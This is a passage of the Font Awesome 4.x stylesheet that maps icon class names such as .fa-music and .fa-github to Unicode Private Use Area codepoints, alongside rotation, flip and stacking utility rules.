-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(1, -1); -ms-transform: scale(1, -1); transform: scale(1, -1); } :root .fa-rotate-90, :root .fa-rotate-180, :root .fa-rotate-270, :root .fa-flip-horizontal, :root .fa-flip-vertical { filter: none; } .fa-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .fa-stack-1x, .fa-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .fa-stack-1x { line-height: inherit; } .fa-stack-2x { font-size: 2em; } .fa-inverse { color: #ffffff; } /* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .fa-glass:before { content: "\f000"; } .fa-music:before { content: "\f001"; } .fa-search:before { content: "\f002"; } .fa-envelope-o:before { content: "\f003"; } .fa-heart:before { content: "\f004"; } .fa-star:before { content: "\f005"; } .fa-star-o:before { content: "\f006"; } .fa-user:before { content: "\f007"; } .fa-film:before { content: "\f008"; } .fa-th-large:before { content: "\f009"; } .fa-th:before { content: "\f00a"; } .fa-th-list:before { content: "\f00b"; } .fa-check:before { content: "\f00c"; } .fa-remove:before, .fa-close:before, .fa-times:before { content: "\f00d"; } .fa-search-plus:before { content: "\f00e"; } .fa-search-minus:before { content: "\f010"; } .fa-power-off:before { content: "\f011"; } .fa-signal:before { content: "\f012"; } .fa-gear:before, .fa-cog:before { content: "\f013"; } .fa-trash-o:before { content: "\f014"; } .fa-home:before { content: "\f015"; } .fa-file-o:before { content: "\f016"; } .fa-clock-o:before { content: "\f017"; } .fa-road:before { content: "\f018"; } .fa-download:before { content: "\f019"; } .fa-arrow-circle-o-down:before { content: "\f01a"; } .fa-arrow-circle-o-up:before { content: "\f01b"; } .fa-inbox:before { content: "\f01c"; } .fa-play-circle-o:before { content: "\f01d"; } .fa-rotate-right:before, .fa-repeat:before { content: "\f01e"; } .fa-refresh:before { content: "\f021"; } .fa-list-alt:before { content: "\f022"; } .fa-lock:before { content: "\f023"; } .fa-flag:before { content: "\f024"; } .fa-headphones:before { content: "\f025"; } .fa-volume-off:before { content: "\f026"; } .fa-volume-down:before { content: "\f027"; } .fa-volume-up:before { content: "\f028"; } .fa-qrcode:before { content: "\f029"; } .fa-barcode:before { content: "\f02a"; } .fa-tag:before { content: "\f02b"; } .fa-tags:before { content: "\f02c"; } .fa-book:before { content: "\f02d"; } .fa-bookmark:before { content: "\f02e"; } .fa-print:before { content: "\f02f"; } .fa-camera:before { content: "\f030"; } .fa-font:before { content: "\f031"; } .fa-bold:before { content: "\f032"; } .fa-italic:before { content: "\f033"; } .fa-text-height:before { content: "\f034"; } .fa-text-width:before { content: "\f035"; } .fa-align-left:before { content: "\f036"; } .fa-align-center:before { content: "\f037"; } .fa-align-right:before { content: "\f038"; } .fa-align-justify:before { content: "\f039"; } .fa-list:before { content: "\f03a"; } .fa-dedent:before, .fa-outdent:before { content: "\f03b"; } .fa-indent:before { content: "\f03c"; } .fa-video-camera:before { content: "\f03d"; } .fa-photo:before, .fa-image:before, .fa-picture-o:before { content: "\f03e"; } .fa-pencil:before { content: "\f040"; } .fa-map-marker:before { content: "\f041"; } .fa-adjust:before { content: "\f042"; } .fa-tint:before { content: "\f043"; } .fa-edit:before, .fa-pencil-square-o:before { content: "\f044"; } .fa-share-square-o:before { content: "\f045"; } .fa-check-square-o:before { content: "\f046"; } .fa-arrows:before { content: "\f047"; } .fa-step-backward:before { content: "\f048"; } .fa-fast-backward:before { content: "\f049"; } .fa-backward:before { content: "\f04a"; } .fa-play:before { content: "\f04b"; } .fa-pause:before { content: "\f04c"; } .fa-stop:before { content: "\f04d"; } .fa-forward:before { content: "\f04e"; } .fa-fast-forward:before { content: "\f050"; } .fa-step-forward:before { content: "\f051"; } .fa-eject:before { content: "\f052"; } .fa-chevron-left:before { content: "\f053"; } .fa-chevron-right:before { content: "\f054"; } .fa-plus-circle:before { content: "\f055"; } .fa-minus-circle:before { content: "\f056"; } .fa-times-circle:before { content: "\f057"; } .fa-check-circle:before { content: "\f058"; } .fa-question-circle:before { content: "\f059"; } .fa-info-circle:before { content: "\f05a"; } .fa-crosshairs:before { content: "\f05b"; } .fa-times-circle-o:before { content: "\f05c"; } .fa-check-circle-o:before { content: "\f05d"; } .fa-ban:before { content: "\f05e"; } .fa-arrow-left:before { content: "\f060"; } .fa-arrow-right:before { content: "\f061"; } .fa-arrow-up:before { content: "\f062"; } .fa-arrow-down:before { content: "\f063"; } .fa-mail-forward:before, .fa-share:before { content: "\f064"; } .fa-expand:before { content: "\f065"; } .fa-compress:before { content: "\f066"; } .fa-plus:before { content: "\f067"; } .fa-minus:before { content: "\f068"; } .fa-asterisk:before { content: "\f069"; } .fa-exclamation-circle:before { content: "\f06a"; } .fa-gift:before { content: "\f06b"; } .fa-leaf:before { content: "\f06c"; } .fa-fire:before { content: "\f06d"; } .fa-eye:before { content: "\f06e"; } .fa-eye-slash:before { content: "\f070"; } .fa-warning:before, .fa-exclamation-triangle:before { content: "\f071"; } .fa-plane:before { content: "\f072"; } .fa-calendar:before { content: "\f073"; } .fa-random:before { content: "\f074"; } .fa-comment:before { content: "\f075"; } .fa-magnet:before { content: "\f076"; } .fa-chevron-up:before { content: "\f077"; } .fa-chevron-down:before { content: "\f078"; } .fa-retweet:before { content: "\f079"; } .fa-shopping-cart:before { content: "\f07a"; } .fa-folder:before { content: "\f07b"; } .fa-folder-open:before { content: "\f07c"; } .fa-arrows-v:before { content: "\f07d"; } .fa-arrows-h:before { content: "\f07e"; } .fa-bar-chart-o:before, .fa-bar-chart:before { content: "\f080"; } .fa-twitter-square:before { content: "\f081"; } .fa-facebook-square:before { content: "\f082"; } .fa-camera-retro:before { content: "\f083"; } .fa-key:before { content: "\f084"; } .fa-gears:before, .fa-cogs:before { content: "\f085"; } .fa-comments:before { content: "\f086"; } .fa-thumbs-o-up:before { content: "\f087"; } .fa-thumbs-o-down:before { content: "\f088"; } .fa-star-half:before { content: "\f089"; } .fa-heart-o:before { content: "\f08a"; } .fa-sign-out:before { content: "\f08b"; } .fa-linkedin-square:before { content: "\f08c"; } .fa-thumb-tack:before { content: "\f08d"; } .fa-external-link:before { content: "\f08e"; } .fa-sign-in:before { content: "\f090"; } .fa-trophy:before { content: "\f091"; } .fa-github-square:before { content: "\f092"; } .fa-upload:before { content: "\f093"; } .fa-lemon-o:before { content: "\f094"; } .fa-phone:before { content: "\f095"; } .fa-square-o:before { content: "\f096"; } .fa-bookmark-o:before { content: "\f097"; } .fa-phone-square:before { content: "\f098"; } .fa-twitter:before { content: "\f099"; } .fa-facebook-f:before, .fa-facebook:before { content: "\f09a"; } .fa-github:before { content: "\f09b"; } .fa-unlock:before { content: "\f09c"; } .fa-credit-card:before { content: "\f09d"; } .fa-feed:before, .fa-rss:before { content: "\f09e"; } .fa-hdd-o:before { content: "\f0a0"; } .fa-bullhorn:before { content: "\f0a1"; } .fa-bell:before { content: "\f0f3"; } .fa-certificate:before { content: "\f0a3"; } .fa-hand-o-right:before { content: "\f0a4"; } .fa-hand-o-left:before { content: "\f0a5"; } .fa-hand-o-up:before { content: "\f0a6"; } .fa-hand-o-down:before { content: "\f0a7"; } .fa-arrow-circle-left:before { content: "\f0a8"; } .fa-arrow-circle-right:before { content: "\f0a9"; } .fa-arrow-circle-up:before { content: "\f0aa"; } .fa-arrow-circle-down:before { content: "\f0ab"; } .fa-globe:before { content: "\f0ac"; } .fa-wrench:before { content: "\f0ad"; } .fa-tasks:before { content: "\f0ae"; } .fa-filter:before { content: "\f0b0"; } .fa-briefcase:before { content: "\f0b1"; } .fa-arrows-alt:before { content: "\f0b2"; } .fa-group:before, .fa-users:before { content: "\f0c0"; } .fa-chain:before, .fa-link:before { content: "\f0c1"; } .fa-cloud:before { content: "\f0c2"; } .fa-flask:before { content: "\f0c3"; } .fa-cut:before, .fa-scissors:before { content: "\f0c4"; } .fa-copy:before, .fa-files-o:before { content: "\f0c5"; } .fa-paperclip:before { content: "\f0c6"; } .fa-save:before, .fa-floppy-o:before { content: "\f0c7"; } .fa-square:before { content: "\f0c8"; } .fa-navicon:before, .fa-reorder:before, .fa-bars:before { content: "\f0c9"; } .fa-list-ul:before { content: "\f0ca"; } .fa-list-ol:before { content: "\f0cb"; } .fa-strikethrough:before { content: "\f0cc"; } .fa-underline:before { content: "\f0cd"; } .fa-table:before { content: "\f0ce"; } .fa-magic:before { content: "\f0d0"; } .fa-truck:before { content: "\f0d1"; } .fa-pinterest:before { content: "\f0d2"; } .fa-pinterest-square:before { content: "\f0d3"; } .fa-google-plus-square:before { content: "\f0d4"; } .fa-google-plus:before { content: "\f0d5"; } .fa-money:before { content: "\f0d6"; } .fa-caret-down:before { content: "\f0d7"; } .fa-caret-up:before { content: "\f0d8"; } .fa-caret-left:before { content: "\f0d9"; } .fa-caret-right:before { content: "\f0da"; } .fa-columns:before { content: "\f0db"; } .fa-unsorted:before, .fa-sort:before { content: "\f0dc"; } .fa-sort-down:before, .fa-sort-desc:before { content: "\f0dd"; } .fa-sort-up:before, .fa-sort-asc:before { content: "\f0de"; } .fa-envelope:before { content: "\f0e0"; } .fa-linkedin:before { content: "\f0e1"; } .fa-rotate-left:before, .fa-undo:before { content: "\f0e2"; } .fa-legal:before, .fa-gavel:before { content: "\f0e3"; } .fa-dashboard:before, .fa-tachometer:before { content: "\f0e4"; } .fa-comment-o:before { content: "\f0e5"; } .fa-comments-o:before { content: "\f0e6"; } .fa-flash:before, .fa-bolt:before { content: "\f0e7"; } .fa-sitemap:before { content: "\f0e8"; } .fa-umbrella:before { content: "\f0e9"; } .fa-paste:before, .fa-clipboard:before { content: "\f0ea"; } .fa-lightbulb-o:before { content: "\f0eb"; } .fa-exchange:before { content: "\f0ec"; } .fa-cloud-download:before { content: "\f0ed"; } .fa-cloud-upload:before { content: "\f0ee"; } .fa-user-md:before { content: "\f0f0"; } .fa-stethoscope:before { content: "\f0f1"; } .fa-suitcase:before { content: "\f0f2"; } .fa-bell-o:before { content: "\f0a2"; } .fa-coffee:before { content: "\f0f4"; } .fa-cutlery:before { content: "\f0f5"; } .fa-file-text-o:before { content: "\f0f6"; } .fa-building-o:before { content: "\f0f7"; } .fa-hospital-o:before { content: "\f0f8"; } .fa-ambulance:before { content: "\f0f9"; } .fa-medkit:before { content: "\f0fa"; } .fa-fighter-jet:before { content: "\f0fb"; } .fa-beer:before { content: "\f0fc"; } .fa-h-square:before { content: "\f0fd"; } .fa-plus-square:before { content: "\f0fe"; } .fa-angle-double-left:before { content: "\f100"; } .fa-angle-double-right:before { content: "\f101"; } .fa-angle-double-up:before { content: "\f102"; } .fa-angle-double-down:before { content: "\f103"; } .fa-angle-left:before { content: "\f104"; } .fa-angle-right:before { content: "\f105"; } .fa-angle-up:before { content: "\f106"; } .fa-angle-down:before { content: "\f107"; } .fa-desktop:before { content: "\f108"; } .fa-laptop:before { content: "\f109"; } .fa-tablet:before { content: "\f10a"; } .fa-mobile-phone:before, .fa-mobile:before { content: "\f10b"; } .fa-circle-o:before { content: "\f10c"; } .fa-quote-left:before { content: "\f10d"; } .fa-quote-right:before { content: "\f10e"; } .fa-spinner:before { content: "\f110"; } .fa-circle:before { content: "\f111"; } .fa-mail-reply:before, .fa-reply:before { content: "\f112"; } .fa-github-alt:before { content: "\f113"; } .fa-folder-o:before { content: "\f114"; } .fa-folder-open-o:before { content: "\f115"; } .fa-smile-o:before { content: "\f118"; } .fa-frown-o:before { content: "\f119"; } .fa-meh-o:before { content: "\f11a"; } .fa-gamepad:before { content: "\f11b"; } .fa-keyboard-o:before { content: "\f11c"; } .fa-flag-o:before { content: "\f11d"; } .fa-flag-checkered:before { content: "\f11e"; } .fa-terminal:before { content: "\f120"; } .fa-code:before { content: "\f121"; } .fa-mail-reply-all:before, .fa-reply-all:before { content: "\f122"; } .fa-star-half-empty:before, .fa-star-half-full:before, .fa-star-half-o:before { content: "\f123"; } .fa-location-arrow:before { content: "\f124"; } .fa-crop:before { content: "\f125"; } .fa-code-fork:before { content: "\f126"; } .fa-unlink:before, .fa-chain-broken:before { content: "\f127"; } .fa-question:before { content: "\f128"; } .fa-info:before { content: "\f129"; } .fa-exclamation:before { content: "\f12a"; } .fa-superscript:before { content: "\f12b"; } .fa-subscript:before { content: "\f12c"; } .fa-eraser:before { content: "\f12d"; } .fa-puzzle-piece:before { content: "\f12e"; } .fa-microphone:before { content: "\f130"; } .fa-microphone-slash:before { content: "\f131"; } .fa-shield:before { content: "\f132"; } .fa-calendar-o:before { content: "\f133"; } .fa-fire-extinguisher:before { content: "\f134"; } .fa-rocket:before { content: "\f135"; } .fa-maxcdn:before { content: "\f136"; } .fa-chevron-circle-left:before { content: "\f137"; } .fa-chevron-circle-right:before { content: "\f138"; } .fa-chevron-circle-up:before { content: "\f139"; } .fa-chevron-circle-down:before { content: "\f13a"; } .fa-html5:before { content: "\f13b"; } .fa-css3:before { content: "\f13c"; } .fa-anchor:before { content: "\f13d"; } .fa-unlock-alt:before { content: "\f13e"; } .fa-bullseye:before { content: "\f140"; } .fa-ellipsis-h:before { content: "\f141"; } .fa-ellipsis-v:before { content: "\f142"; } .fa-rss-square:before { content: "\f143"; } .fa-play-circle:before { content: "\f144"; } .fa-ticket:before { content: "\f145"; } .fa-minus-square:before { content: "\f146"; } .fa-minus-square-o:before { content: "\f147"; } .fa-level-up:before { content: "\f148"; } .fa-level-down:before { content: "\f149"; } .fa-check-square:before { content: "\f14a"; } .fa-pencil-square:before { content: "\f14b"; } .fa-external-link-square:before { content: "\f14c"; } .fa-share-square:before { content: "\f14d"; } .fa-compass:before { content: "\f14e"; } .fa-toggle-down:before, .fa-caret-square-o-down:before { content: "\f150"; } .fa-toggle-up:before, .fa-caret-square-o-up:before { content: "\f151"; } .fa-toggle-right:before, .fa-caret-square-o-right:before { content: "\f152"; } .fa-euro:before, .fa-eur:before { content: "\f153"; } .fa-gbp:before { content: "\f154"; } .fa-dollar:before, .fa-usd:before { content: "\f155"; } .fa-rupee:before, .fa-inr:before { content: "\f156"; } .fa-cny:before, .fa-rmb:before, .fa-yen:before, .fa-jpy:before { content: "\f157"; } .fa-ruble:before, .fa-rouble:before, .fa-rub:before { content: "\f158"; } .fa-won:before, .fa-krw:before { content: "\f159"; } .fa-bitcoin:before, .fa-btc:before { content: "\f15a"; } .fa-file:before { content: "\f15b"; } .fa-file-text:before { content: "\f15c"; } .fa-sort-alpha-asc:before { content: "\f15d"; } .fa-sort-alpha-desc:before { content: "\f15e"; } .fa-sort-amount-asc:before { content: "\f160"; } .fa-sort-amount-desc:before { content: "\f161"; } .fa-sort-numeric-asc:before { content: "\f162"; } .fa-sort-numeric-desc:before { content: "\f163"; } .fa-thumbs-up:before { content: "\f164"; } .fa-thumbs-down:before { content: "\f165"; } .fa-youtube-square:before { content: "\f166"; } .fa-youtube:before { content: "\f167"; } .fa-xing:before { content: "\f168"; } .fa-xing-square:before { content: "\f169"; } .fa-youtube-play:before { content: "\f16a"; } .fa-dropbox:before { content: "\f16b"; } .fa-stack-overflow:before { content: "\f16c"; } .fa-instagram:before { content: "\f16d"; } .fa-flickr:before { content: "\f16e"; } .fa-adn:before { content: "\f170"; } .fa-bitbucket:before { content: "\f171"; } .fa-bitbucket-square:before { content: "\f172"; } .fa-tumblr:before { content: "\f173"; } .fa-tumblr-square:before { content: "\f174"; } .fa-long-arrow-down:before { content: "\f175"; } .fa-long-arrow-up:before { content: "\f176"; } .fa-long-arrow-left:before { content: "\f177"; } .fa-long-arrow-right:before { content: "\f178"; } .fa-apple:before { content: "\f179"; } .fa-windows:before { content: "\f17a"; } .fa-android:before { content: "\f17b"; } .fa-linux:before { content: "\f17c"; } .fa-dribbble:before { content: "\f17d"; } .fa-skype:before { content: "\f17e"; } .fa-foursquare:before { content: "\f180"; } .fa-trello:before { content: "\f181"; } .fa-female:before { content: "\f182"; } .fa-male:before { content: "\f183"; } .fa-gittip:before, .fa-gratipay:before { content: "\f184"; } .fa-sun-o:before { content: "\f185"; } .fa-moon-o:before { content: "\f186"; } .fa-archive:before { content: "\f187"; } .fa-bug:before { content: "\f188"; } .fa-vk:before { content: "\f189"; } .fa-weibo:before { content: "\f18a"; } .fa-renren:before { content: "\f18b"; } .fa-pagelines:before { content: "\f18c"; } .fa-stack-exchange:before { content: "\f18d"; } .fa-arrow-circle-o-right:before { content: "\f18e"; } .fa-arrow-circle-o-left:before { content: "\f190"; } .fa-toggle-left:before, .fa-caret-square-o-left:before { content: "\f191"; } .fa-dot-circle-o:before { content: "\f192"; } .fa-wheelchair:before { content: "\f193"; } .fa-vimeo-square:before { content: "\f194"; } .fa-turkish-lira:before, .fa-try:before { content: "\f195"; } .fa-plus-square-o:before { content: "\f196"; } .fa-space-shuttle:before { content: "\f197"; } .fa-slack:before { content: "\f198"; } .fa-envelope-square:before { content: "\f199"; } .fa-wordpress:before { content: "\f19a"; } .fa-openid:before { content: "\f19b"; } .fa-institution:before, .fa-bank:before, .fa-university:before { content: "\f19c"; } .fa-mortar-board:before, .fa-graduation-cap:before { content: "\f19d"; } .fa-yahoo:before { content: "\f19e"; } .fa-google:before { content: "\f1a0"; } .fa-reddit:before { content: "\f1a1"; } .fa-reddit-square:before { content: "\f1a2"; } .fa-stumbleupon-circle:before { content: "\f1a3"; } .fa-stumbleupon:before { content: "\f1a4"; } .fa-delicious:before { content: "\f1a5"; } .fa-digg:before { content: "\f1a6"; } .fa-pied-piper-pp:before { content: "\f1a7"; } .fa-pied-piper-alt:before { content: "\f1a8"; } .fa-drupal:before { content: "\f1a9"; } .fa-joomla:before { content: "\f1aa"; } .fa-language:before { content: "\f1ab"; } .fa-fax:before { content: "\f1ac"; } .fa-building:before { content: "\f1ad"; } .fa-child:before { content: "\f1ae"; } .fa-paw:before { content: "\f1b0"; } .fa-spoon:before { content: "\f1b1"; } .fa-cube:before { content: "\f1b2"; } .fa-cubes:before { content: "\f1b3"; } .fa-behance:before { content: "\f1b4"; } .fa-behance-square:before { content: "\f1b5"; } .fa-steam:before { content: "\f1b6"; } .fa-steam-square:before { content: "\f1b7"; } .fa-recycle:before { content: "\f1b8"; } .fa-automobile:before, .fa-car:before { content: "\f1b9"; } .fa-cab:before, .fa-taxi:before { content: "\f1ba"; } .fa-tree:before { content: "\f1bb"; } .fa-spotify:before { content: "\f1bc"; } .fa-deviantart:before { content: "\f1bd"; } .fa-soundcloud:before { content: "\f1be"; } .fa-database:before { content: "\f1c0"; } .fa-file-pdf-o:before { content: "\f1c1"; } .fa-file-word-o:before { content: "\f1c2"; } .fa-file-excel-o:before { content: "\f1c3"; } .fa-file-powerpoint-o:before { content: "\f1c4"; } .fa-file-photo-o:before, .fa-file-picture-o:before, .fa-file-image-o:before { content: "\f1c5"; } .fa-file-zip-o:before, .fa-file-archive-o:before { content: "\f1c6"; } .fa-file-sound-o:before, .fa-file-audio-o:before { content: "\f1c7"; } .fa-file-movie-o:before, .fa-file-video-o:before { content: "\f1c8"; } .fa-file-code-o:before { content: "\f1c9"; } .fa-vine:before { content: "\f1ca"; } .fa-codepen:before { content: "\f1cb"; } .fa-jsfiddle:before { content: "\f1cc"; } .fa-life-bouy:before, .fa-life-buoy:before, .fa-life-saver:before, .fa-support:before, .fa-life-ring:before { content: "\f1cd"; } .fa-circle-o-notch:before { content: "\f1ce"; } .fa-ra:before, .fa-resistance:before, .fa-rebel:before { content: "\f1d0"; } .fa-ge:before, .fa-empire:before { content: "\f1d1"; } .fa-git-square:before { content: "\f1d2"; } .fa-git:before { content: "\f1d3"; } .fa-y-combinator-square:before, .fa-yc-square:before, .fa-hacker-news:before { content: "\f1d4"; } .fa-tencent-weibo:before { content: "\f1d5"; } .fa-qq:before { content: "\f1d6"; } .fa-wechat:before, .fa-weixin:before { content: "\f1d7"; } .fa-send:before, .fa-paper-plane:before { content: "\f1d8"; } .fa-send-o:before, .fa-paper-plane-o:before { content: "\f1d9"; } .fa-history:before { content: "\f1da"; } .fa-circle-thin:before { content: "\f1db"; } .fa-header:before { content: "\f1dc"; } .fa-paragraph:before { content: "\f1dd"; } .fa-sliders:before { content: "\f1de"; } .fa-share-alt:before { content: "\f1e0"; } .fa-share-alt-square:before { content: "\f1e1"; } .fa-bomb:before { content: "\f1e2"; } .fa-soccer-ball-o:before, .fa-futbol-o:before { content: "\f1e3"; } .fa-tty:before { content: "\f1e4"; } .fa-binoculars:before { content: "\f1e5"; } .fa-plug:before { content: "\f1e6"; } .fa-slideshare:before { content: "\f1e7"; } .fa-twitch:before { content: "\f1e8"; } .fa-yelp:before { content: "\f1e9"; } .fa-newspaper-o:before { content: "\f1ea"; } .fa-wifi:before { content: "\f1eb"; } .fa-calculator:before { content: "\f1ec"; } .fa-paypal:before { content: "\f1ed"; } .fa-google-wallet:before { content: "\f1ee"; } .fa-cc-visa:before { content: "\f1f0"; } .fa-cc-mastercard:before { content: "\f1f1"; } .fa-cc-discover:before { content: "\f1f2"; } .fa-cc-amex:before { content: "\f1f3"; } .fa-cc-paypal:before { content: "\f1f4"; } .fa-cc-stripe:before { content: "\f1f5"; } .fa-bell-slash:before { content: "\f1f6"; } .fa-bell-slash-o:before { content: "\f1f7"; } .fa-trash:before { content: "\f1f8"; } .fa-copyright:before { content: "\f1f9"; } .fa-at:before { content: "\f1fa"; } .fa-eyedropper:before { content: "\f1fb"; } .fa-paint-brush:before { content: "\f1fc"; } .fa-birthday-cake:before { content: "\f1fd"; } .fa-area-chart:before { content: "\f1fe"; } .fa-pie-chart:before { content: "\f200"; } .fa-line-chart:before { content: "\f201"; } .fa-lastfm:before { content: "\f202"; } .fa-lastfm-square:before { content: "\f203"; } .fa-toggle-off:before { content: "\f204"; } .fa-toggle-on:before { content: "\f205"; } .fa-bicycle:before { content: "\f206"; } .fa-bus:before { content: "\f207"; } .fa-ioxhost:before { content: "\f208"; } .fa-angellist:before { content: "\f209"; } .fa-cc:before { content: "\f20a"; } .fa-shekel:before, .fa-sheqel:before, .fa-ils:before { content: "\f20b"; } .fa-meanpath:before { content: "\f20c"; } .fa-buysellads:before { content: "\f20d"; } .fa-connectdevelop:before { content: "\f20e"; } .fa-dashcube:before { content: "\f210"; } .fa-forumbee:before { content: "\f211"; } .fa-leanpub:before { content: "\f212"; } .fa-sellsy:before { content: "\f213"; } .fa-shirtsinbulk:before { content: "\f214"; } .fa-simplybuilt:before { content: "\f215"; } .fa-skyatlas:before { content: "\f216"; } .fa-cart-plus:before { content: "\f217"; } .fa-cart-arrow-down:before { content: "\f218"; } .fa-diamond:before { content: "\f219"; } .fa-ship:before { content: "\f21a"; } .fa-user-secret:before { content: "\f21b"; } .fa-motorcycle:before { content: "\f21c"; } .fa-street-view:before { content: "\f21d"; } .fa-heartbeat:before { content: "\f21e"; } .fa-venus:before { content: "\f221"; } .fa-mars:before { content: "\f222"; } .fa-mercury:before { content: "\f223"; } .fa-intersex:before, .fa-transgender:before { content: "\f224"; } .fa-transgender-alt:before { content: "\f225"; } .fa-venus-double:before { content: "\f226"; } .fa-mars-double:before { content: "\f227"; } .fa-venus-mars:before { content: "\f228"; } .fa-mars-stroke:before { content: "\f229"; } .fa-mars-stroke-v:before { content: "\f22a"; } .fa-mars-stroke-h:before { content: "\f22b"; } .fa-neuter:before { content: "\f22c"; } .fa-genderless:before { content: "\f22d"; } .fa-facebook-official:before { content: "\f230"; } .fa-pinterest-p:before { content: "\f231"; } .fa-whatsapp:before { content: "\f232"; } .fa-server:before { content: "\f233"; } .fa-user-plus:before { content: "\f234"; } .fa-user-times:before { content: "\f235"; } .fa-hotel:before, .fa-bed:before { content: "\f236"; } .fa-viacoin:before { content: "\f237"; } .fa-train:before { content: "\f238"; } .fa-subway:before { content: "\f239"; } .fa-medium:before { content: "\f23a"; } .fa-yc:before, .fa-y-combinator:before { content: "\f23b"; } .fa-optin-monster:before { content: "\f23c"; } .fa-opencart:before { content: "\f23d"; } .fa-expeditedssl:before { content: "\f23e"; } .fa-battery-4:before, .fa-battery:before, .fa-battery-full:before { content: "\f240"; } .fa-battery-3:before, .fa-battery-three-quarters:before { content: "\f241"; } .fa-battery-2:before, .fa-battery-half:before { content: "\f242"; } .fa-battery-1:before, .fa-battery-quarter:before { content: "\f243"; } .fa-battery-0:before, .fa-battery-empty:before { content: "\f244"; } .fa-mouse-pointer:before { content: "\f245"; } .fa-i-cursor:before { content: "\f246"; } .fa-object-group:before { content: "\f247"; } .fa-object-ungroup:before { content: "\f248"; } .fa-sticky-note:before { content: "\f249"; } .fa-sticky-note-o:before { content: "\f24a"; } .fa-cc-jcb:before { content: "\f24b"; } .fa-cc-diners-club:before { content: "\f24c"; } .fa-clone:before { content: "\f24d"; } .fa-balance-scale:before { content: "\f24e"; } .fa-hourglass-o:before { content: "\f250"; } .fa-hourglass-1:before, .fa-hourglass-start:before { content: "\f251"; } .fa-hourglass-2:before, .fa-hourglass-half:before { content: "\f252"; } .fa-hourglass-3:before, .fa-hourglass-end:before { content: "\f253"; } .fa-hourglass:before { content: "\f254"; } .fa-hand-grab-o:before, .fa-hand-rock-o:before { content: "\f255"; } .fa-hand-stop-o:before, .fa-hand-paper-o:before { content: "\f256"; } .fa-hand-scissors-o:before { content: "\f257"; } .fa-hand-lizard-o:before { content: "\f258"; } .fa-hand-spock-o:before { content: "\f259"; } .fa-hand-pointer-o:before { content: "\f25a"; } .fa-hand-peace-o:before { content: "\f25b"; } .fa-trademark:before { content: "\f25c"; } .fa-registered:before { content: "\f25d"; } .fa-creative-commons:before { content: "\f25e"; } .fa-gg:before { content: "\f260"; } .fa-gg-circle:before { content: "\f261"; } .fa-tripadvisor:before { content: "\f262"; } .fa-odnoklassniki:before { content: "\f263"; } .fa-odnoklassniki-square:before { content: "\f264"; } .fa-get-pocket:before { content: "\f265"; } .fa-wikipedia-w:before { content: "\f266"; } .fa-safari:before { content: "\f267"; } .fa-chrome:before { content: "\f268"; } .fa-firefox:before { content: "\f269"; } .fa-opera:before { content: "\f26a"; } .fa-internet-explorer:before { content: "\f26b"; } .fa-tv:before, .fa-television:before { content: "\f26c"; } .fa-contao:before { content: "\f26d"; } .fa-500px:before { content: "\f26e"; } .fa-amazon:before { content: "\f270"; } .fa-calendar-plus-o:before { content: "\f271"; } .fa-calendar-minus-o:before { content: "\f272"; } .fa-calendar-times-o:before { content: "\f273"; } .fa-calendar-check-o:before { content: "\f274"; } .fa-industry:before { content: "\f275"; } .fa-map-pin:before { content: "\f276"; } .fa-map-signs:before { content: "\f277"; } .fa-map-o:before { content: "\f278"; } .fa-map:before { content: "\f279"; } .fa-commenting:before { content: "\f27a"; } .fa-commenting-o:before { content: "\f27b"; } .fa-houzz:before { content: "\f27c"; } .fa-vimeo:before { content: "\f27d"; } .fa-black-tie:before { content: "\f27e"; } .fa-fonticons:before { content: "\f280"; } .fa-reddit-alien:before { content: "\f281"; } .fa-edge:before { content: "\f282"; } .fa-credit-card-alt:before { content: "\f283"; } .fa-codiepie:before { content: "\f284"; } .fa-modx:before { content: "\f285"; } .fa-fort-awesome:before { content: "\f286"; } .fa-usb:before { content: "\f287"; } .fa-product-hunt:before { content: "\f288"; } .fa-mixcloud:before { content: "\f289"; } .fa-scribd:before { content: "\f28a"; } .fa-pause-circle:before { content: "\f28b"; } .fa-pause-circle-o:before { content: "\f28c"; } .fa-stop-circle:before { content: "\f28d"; } .fa-stop-circle-o:before { content: "\f28e"; } .fa-shopping-bag:before { content: "\f290"; } .fa-shopping-basket:before { content: "\f291"; } .fa-hashtag:before { content: "\f292"; } .fa-bluetooth:before { content: "\f293"; } .fa-bluetooth-b:before { content: "\f294"; } .fa-percent:before { content: "\f295"; } .fa-gitlab:before { content: "\f296"; } .fa-wpbeginner:before { content: "\f297"; } .fa-wpforms:before { content: "\f298"; } .fa-envira:before { content: "\f299"; } .fa-universal-access:before { content: "\f29a"; } .fa-wheelchair-alt:before { content: "\f29b"; } .fa-question-circle-o:before { content: "\f29c"; } .fa-blind:before { content: "\f29d"; } .fa-audio-description:before { content: "\f29e"; } .fa-volume-control-phone:before { content: "\f2a0"; } .fa-braille:before { content: "\f2a1"; } .fa-assistive-listening-systems:before { content: "\f2a2"; } .fa-asl-interpreting:before, .fa-american-sign-language-interpreting:before { content: "\f2a3"; } .fa-deafness:before, .fa-hard-of-hearing:before, .fa-deaf:before { content: "\f2a4"; } .fa-glide:before { content: "\f2a5"; } .fa-glide-g:before { content: "\f2a6"; } .fa-signing:before, .fa-sign-language:before { content: "\f2a7"; } .fa-low-vision:before { content: "\f2a8"; } .fa-viadeo:before { content: "\f2a9"; } .fa-viadeo-square:before { content: "\f2aa"; } .fa-snapchat:before { content: "\f2ab"; } .fa-snapchat-ghost:before { content: "\f2ac"; } .fa-snapchat-square:before { content: "\f2ad"; } .fa-pied-piper:before { content: "\f2ae"; } .fa-first-order:before { content: "\f2b0"; } .fa-yoast:before { content: "\f2b1"; } .fa-themeisle:before { content: "\f2b2"; } .fa-google-plus-circle:before, .fa-google-plus-official:before { content: "\f2b3"; } .fa-fa:before, .fa-font-awesome:before { content: "\f2b4"; } .fa-handshake-o:before { content: "\f2b5"; } .fa-envelope-open:before { content: "\f2b6"; } .fa-envelope-open-o:before { content: "\f2b7"; } .fa-linode:before { content: "\f2b8"; } .fa-address-book:before { content: "\f2b9"; } .fa-address-book-o:before { content: "\f2ba"; } .fa-vcard:before, .fa-address-card:before { content: "\f2bb"; } .fa-vcard-o:before, .fa-address-card-o:before { content: "\f2bc"; } .fa-user-circle:before { content: "\f2bd"; } .fa-user-circle-o:before { content: "\f2be"; } .fa-user-o:before { content: "\f2c0"; } .fa-id-badge:before { content: "\f2c1"; } .fa-drivers-license:before, .fa-id-card:before { content: "\f2c2"; } .fa-drivers-license-o:before, .fa-id-card-o:before { 